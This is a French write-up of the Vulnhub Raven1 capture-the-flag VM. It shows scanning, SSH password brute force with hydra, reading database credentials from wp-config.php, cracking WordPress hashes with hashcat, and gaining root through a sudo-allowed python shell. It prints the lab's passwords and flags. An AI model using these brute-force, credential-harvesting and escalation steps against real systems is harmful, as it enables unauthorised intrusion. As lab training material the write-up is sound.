Write-Up Vulnhub Raven1
Pour changer un peu des challenges root-me, Newbie, ... je me suis penché sur Vulnhub et ses Vulnerables VM ENJOY
Objectif : Être root et obtenir les 4 flags
NOTES : Durant le pentest je me suis aperçue que des fichiers web pour bien fonctionner pointait sur l'adresse raven.local (n'oubliez pas de l'ajouter dans votre fichier hosts de votre machine)
1- Prise d'Information
La première phase étant l'OSINT, il faut dans un premier temps déterminer l'adresse IP de la machine virtuelle (les VM sont en NAT)
netdiscover
5 Captured ARP Req/Rep packets, from 4 hosts. Total size: 300
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.239.2 00:50:56:fc:f9:36 2 120 VMware, Inc.
192.168.239.1 00:50:56:c0:00:08 1 60 VMware, Inc.
192.168.239.130 00:0c:29:fb:cc:c6 1 60 VMware, Inc.
192.168.239.254 00:50:56:e9:41:a0 1 60 VMware, Inc.
OK l'adresse IP de la cible est 192.168.239.130
Un petit scan pour avoir les services et les version avec l'OS
nmap 192.168.239.130 -p 1-10000 -sV --version-all -O --osscan-guess -oN Raven-Scan.txt
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.10 ((Debian))
111/tcp open rpcbind 2-4 (RPC #100000)
MAC Address: 00:0C:29:FB:CC:C6 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
On à donc du SSH, HTTP et RPC, une énumeration de directories web s'impose
dirb http://192.168.239.130
==> DIRECTORY: http://192.168.239.130/vendor/
==> DIRECTORY: http://192.168.239.130/wordpress/
==> DIRECTORY: http://192.168.239.130/wordpress/wp-admin/
==> DIRECTORY: http://192.168.239.130/wordpress/wp-admin/maint/
==> DIRECTORY: http://192.168.239.130/wordpress/wp-admin/network/
==> DIRECTORY: http://192.168.239.130/wordpress/wp-admin/user/
==> DIRECTORY: http://192.168.239.130/wordpress/wp-content/plugins/
==> DIRECTORY: http://192.168.239.130/wordpress/wp-content/themes/
==> DIRECTORY: http://192.168.239.130/wordpress/wp-content/upgrade/
....
Donc le CMS est Wordpress, un scan du CMS, de ses plugins/thèmes vulnérables et de ses utilisateurs via wpscan
wpscan --url http://192.168.239.130/wordpress --wp-content-dir /wordpress --enumerate vp,vt,u
[+] http://192.168.239.130/wordpress/
| Interesting Entry: Server: Apache/2.4.10 (Debian)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] http://192.168.239.130/wordpress/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access
[+] http://192.168.239.130/wordpress/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] WordPress version 4.8.8 identified (Latest, released on 2018-12-13).
| Detected By: Emoji Settings (Passive Detection)
| - http://192.168.239.130/wordpress/, Match: 'wp-includes\/js\/wp-emoji-release.min.js?ver=4.8.8'
| Confirmed By: Meta Generator (Passive Detection)
| - http://192.168.239.130/wordpress/, Match: 'WordPress 4.8.8'
[i] The main theme could not be detected.
[+] Enumerating Vulnerable Plugins
[i] No plugins Found.
[+] Enumerating Vulnerable Themes
Checking Known Locations - Time: 00:00:00 <==============================================================================================================================================================> (288 / 288) 100.00% Time: 00:00:00
[i] No themes Found.
[+] Enumerating Config Backups
Checking Config Backups - Time: 00:00:00 <=================================================================================================================================================================> (21 / 21) 100.00% Time: 00:00:00
[i] No Config Backups Found.
[+] Enumerating DB Exports
Checking DB Exports - Time: 00:00:00 <=====================================================================================================================================================================> (36 / 36) 100.00% Time: 00:00:00
[i] No DB Exports Found.
[+] Enumerating Users
Brute Forcing Author IDs - Time: 00:00:00 <================================================================================================================================================================> (10 / 10) 100.00% Time: 00:00:00
[i] User(s) Identified:
[+] michael
| Detected By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] steven
| Detected By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
Pas de plugins mais on a la version du wordpress qui selon www.cvedetails.com est ... vulnerable avec xmlrpc.php :)
Ah oui et on à aussi 2 utilisateurs
LA CHAAAAAAANCE
l'URL http://raven.local/vendor/ est en index of
Hmmmm si on regarde ça de plus prêt ..
$curl http://raven.local/vendor/VERSION
5.2.16
$curl http://raven.local/vendor/SECURITY.md
PHPMailer versions prior to 5.2.18 (released December 2016) are vulnerable to [CVE-2016-10033](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-10033) a remote code execution vulnerability
$curl http://raven.local/vendor/PATH
/var/www/html/vendor/
Pour couronner le tout un dernier scan nmap en utilisant les scripts nse (Avec les informations acquises, il faut choisir les scripts à effectuer)
ls /usr/share/nmap/scripts/ | grep rpc
metasploit-xmlrpc-brute.nse
msrpc-enum.nse
nessus-xmlrpc-brute.nse
rpcap-brute.nse
rpcinfo.nse
xmlrpc-methods.nse
ls /usr/share/nmap/scripts/ | grep wordpress
http-wordpress-brute.nse
http-wordpress-enum.nse
http-wordpress-users.nse
ls /usr/share/nmap/scripts/ | grep ssh
ssh-auth-methods.nse
sshv1.nse
Ça fait une jolie petite liste à essayer
nmap 192.168.239.130 -Pn -p 22,80,111 --script metasploit-xmlrpc-brute.nse,msrpc-enum.nse,nessus-xmlrpc-brute.nse,rpcap-brute.nse,rpcinfo.nse,xmlrpc-methods.nse,http-wordpress-brute.nse,http-wordpress-enum.nse,http-wordpress-users.nse,ssh-auth-methods.nse,sshv1.nse
PORT STATE SERVICE
22/tcp open ssh
| ssh-auth-methods:
| Supported authentication methods:
| publickey
|_ password
80/tcp open http
111/tcp open rpcbind
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100024 1 44044/tcp status
|_ 100024 1 56113/udp status
MAC Address: 00:0C:29:FB:CC:C6 (VMware)
Pas d'info à propos des script rpc et wordpress (nous reviendront dessus dans la phase d'exploitation)
2- Exploitation
Le port SSH étant ouvert un tentative via bruteforce sur les utilisateurs michael et steven est possible
$hydra -l michael -P /usr/share/wordlists/rockyou.txt ssh://192.168.239.130
[DATA] attacking ssh://192.168.239.130:22/
[22][ssh] host: 192.168.239.130 login: michael password: michael
1 of 1 target successfully completed, 1 valid password found
Un accès shell à la machine est désormais possible sous l'utilisateur michael (Au passage on trouve le flag N°1 et N°2)
$ssh michael@192.168.239.130
$id
uid=1000(michael) gid=1000(michael)
$find / -name "*flag*txt" 2> /dev/null
/var/www/flag2.txt
$cat /var/www/flag2.txt
flag2{fc3fd58dcdad9ab23faca6e9a36e581c}
$cd /var/www/html
$egrep -r "flag[1-4]"
service.html: <!-- flag1{b9bbcb33e11b80be759c4e844862482d} -->
En regardant la configuration de wordpress on obtient le pass root de mysql (OMG Cette misconfiguration)
cat /var/www/html/wordpress/wp-config.php
...
/** MySQL database username */
define('DB_USER', 'root');
/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');
...
mysql -u root -pR@v3nSecurity
En fouillant dans les tables on remarques certaines informations intéressantes
select * from wp_users;
nickname | michael
wp_capabilities | a:1:{s:13:"administrator";b:1;}
michael | $P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0
steven | $P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/
2 hash avec un salt, analysons ça de prêt (et bruteforce ça de loin)
$touch hash.txt
$echo "$P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/" > hash.txt
$echo "$P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0" >> hash.txt
$hashid -e hash.txt
--File 'hash.txt'--
Analyzing '$P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/'
[+] Wordpress ≥ v2.6.2
[+] Joomla ≥ v2.5.18
[+] PHPass' Portable Hash
Analyzing '$P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0'
[+] Wordpress ≥ v2.6.2
[+] Joomla ≥ v2.5.18
[+] PHPass' Portable Hash
$hashcat -m 400 -m 400 hash.txt usr/share/wordlists/rockyou.txt
$P$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/:pink84
Miracle le mot de passe de steven est pink84
En se connectons à l'interface wordpress nous remarquons qu'un poste est dans les brouillon et ...
Bingo le 3eme flag ! plus qu'un :)
En se connectant en ssh avec le compte de steven nous faisons une recherche de programme en SUID
$find / -perm -4000 -print 2> /dev/n
/bin/mount
/bin/umount
/bin/su
/usr/bin/procmail
...
Hmm dommage rien à part les binaires systèmes ... en analysant la liste sudo de steven quelque chose de dangereux apparaît
$sudo -l
User steven may run the following commands on raven:
(ALL) NOPASSWD: /usr/bin/python
Woaaaw un appel a python en root sans password (OMG cette misconfiguration again) Appelons un shell via python via sudo
$sudo python -c 'import pty; pty.spawn("/bin/sh")'
$id
uid=0(root) gid=0(root) groups=0(root)
Nous voila root sur la VM allons à la recherche du dernier flag
$find / -name "*flag4*"
/root/flag4.txt
$cat /root/flag4.txt
flag4{715dea6c055b9fe3337544932f2941ce}
CONGRATULATIONS on successfully rooting Raven!
Nous avons les 4 flags et loggué en root MISSION ACCOMPLIE :)
flag1{b9bbcb33e11b80be759c4e844862482d}
flag2{fc3fd58dcdad9ab23faca6e9a36e581c}
flag3{afc01ab56b50591e7dccf93122770cd}
flag4{715dea6c055b9fe3337544932f2941ce}
Cette VM est sympa pour commencer, elle dispose de faille assez simple mais non explicite (elle ne vous sauterons pas au yeux directement) un petit travail de recherche s'impose (Je l'ai fais en 5h)
Apparemment il existe 2 moyen d'être root sur la VM l'autre méthode concerne sûrement des exploit web que je n'ai pas exploiter